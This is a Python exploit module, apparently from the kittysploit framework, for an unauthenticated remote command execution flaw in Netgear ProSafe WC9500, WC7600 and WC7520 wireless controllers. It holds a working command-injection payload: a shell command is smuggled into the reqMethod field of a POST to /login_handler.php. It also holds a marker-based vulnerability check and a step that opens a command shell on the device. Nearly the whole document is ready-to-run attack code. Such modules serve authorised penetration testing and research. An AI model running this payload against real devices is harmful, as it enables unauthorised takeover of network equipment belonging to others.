Netgear ProSafe RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netgear ProSafe RCE"""

import re
import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Netgear ProSafe RCE',
        'description': 'Module exploits remote command execution vulnerability in Netgear ProSafe WC9500, WC7600, WC7520 devices. If the target is vulnerable command shell is invoked.',
        'author': ['Andrei Costin', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://firmware.re/vulns/acsa-2015-002.php', 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        mark = self.random_text(32)
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        data = 'reqMethod=json_cli_reqMethod" "json_cli_jsonData";{}; echo {}'.format(cmd, mark)

        response = self.http_request(
            method="POST",
            path="/login_handler.php",
            headers=headers,
            data=data
        )

        if response is None:
            return ""

        if mark in response.text:
            regexp = "(|.+?){}".format(mark)
            res = re.findall(regexp, response.text, re.DOTALL)

            if len(res):
                return res[0]

        return ""
    def check(self):
        mark = self.random_text(32)
        cmd = "echo {}".format(mark)

        response = self.execute(cmd)

        if mark in response:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()